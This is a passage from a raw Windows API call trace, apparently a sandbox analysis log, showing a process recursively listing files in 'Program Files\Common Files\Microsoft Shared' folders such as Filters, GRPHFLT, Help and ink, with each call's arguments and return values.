ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Filters", cAlternateFileName="")) returned 1 [0214.968] GetProcessHeap () returned 0x560000 [0214.968] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b99a60 [0214.968] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\*", lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0214.971] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.971] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x9770, dwReserved0=0x0, dwReserved1=0x0, cFileName="msgfilt.dll", cAlternateFileName="")) returned 1 [0214.971] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x6b29d7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x140790, dwReserved0=0x0, dwReserved1=0x0, cFileName="odffilt.dll", cAlternateFileName="")) returned 1 [0214.971] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x16af90, dwReserved0=0x0, dwReserved1=0x0, cFileName="offfiltx.dll", cAlternateFileName="")) returned 1 [0214.972] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 1 [0214.972] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 0 [0214.972] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0214.972] GetProcessHeap () returned 0x560000 [0214.972] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b99a60 | out: hHeap=0x560000) returned 1 [0214.972] FindNextFileW (in: hFindFile=0x593f80, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRPHFLT", cAlternateFileName="")) returned 1 [0214.972] GetProcessHeap () returned 0x560000 [0214.972] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b99a60 [0214.973] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*", lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0214.980] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.980] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x1a9b, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.CFG", cAlternateFileName="")) returned 1 [0214.982] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfda4ec00, ftCreationTime.dwHighDateTime=0x1cba021, ftLastAccessTime.dwLowDateTime=0xc22488c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfda4ec00, ftLastWriteTime.dwHighDateTime=0x1cba021, nFileSizeHigh=0x0, nFileSizeLow=0x4f160, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.FLT", cAlternateFileName="")) returned 1 [0214.983] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x93f6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.FNT", cAlternateFileName="")) returned 1 [0214.983] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0xadf90, dwReserved0=0x0, dwReserved1=0x0, cFileName="EPSIMP32.FLT", cAlternateFileName="")) returned 1 [0214.983] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x4e380, dwReserved0=0x0, dwReserved1=0x0, cFileName="GIFIMP32.FLT", cAlternateFileName="")) returned 1 [0214.983] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x3ad80, dwReserved0=0x0, dwReserved1=0x0, cFileName="JPEGIM32.FLT", cAlternateFileName="")) returned 1 [0214.983] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x774, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.CGM", cAlternateFileName="")) returned 1 [0214.984] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x3adb, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.EPS", cAlternateFileName="")) returned 1 [0214.984] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x42d, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.GIF", cAlternateFileName="")) returned 1 [0214.984] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x425, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.JPG", cAlternateFileName="")) returned 1 [0214.984] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x692, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.PNG", cAlternateFileName="")) returned 1 [0214.984] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WPG", cAlternateFileName="")) returned 1 [0214.985] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x11d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="PICTIM32.FLT", cAlternateFileName="")) returned 1 [0214.985] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x49f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="PNG32.FLT", cAlternateFileName="")) returned 1 [0214.985] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 1 [0214.985] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 0 [0214.985] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0214.988] GetProcessHeap () returned 0x560000 [0214.988] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b99a60 | out: hHeap=0x560000) returned 1 [0214.988] FindNextFileW (in: hFindFile=0x593f80, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1 [0214.988] GetProcessHeap () returned 0x560000 [0214.988] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b99a60 [0214.988] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\*", lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0214.990] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.990] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x60d54030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x133200, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxds.dll", cAlternateFileName="")) returned 1 [0214.990] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3e47200, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x522dc930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe3e47200, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x1bf200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ITIRCL55.DLL", cAlternateFileName="")) returned 1 [0214.991] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msitss55.dll", cAlternateFileName="")) returned 1 [0214.991] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msitss55.dll", cAlternateFileName="")) returned 0 [0214.991] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0214.991] GetProcessHeap () returned 0x560000 [0214.991] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b99a60 | out: hHeap=0x560000) returned 1 [0214.991] FindNextFileW (in: hFindFile=0x593f80, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ink", cAlternateFileName="")) returned 1 [0214.991] GetProcessHeap () returned 0x560000 [0214.991] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b99a60 [0214.992] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*", lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0215.665] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.665] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2bbccc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c2bbccc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc1486, dwReserved0=0x0, dwReserved1=0x0, cFileName="Alphabet.xml", cAlternateFileName="")) returned 1 [0215.665] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-SA", cAlternateFileName="")) returned 1 [0215.665] GetProcessHeap () returned 0x560000 [0215.665] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0215.667] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0215.667] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.667] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0215.668] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0215.668] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0215.668] GetProcessHeap () returned 0x560000 [0215.668] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0215.668] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0215.668] GetProcessHeap () returned 0x560000 [0215.668] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0215.668] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\*", 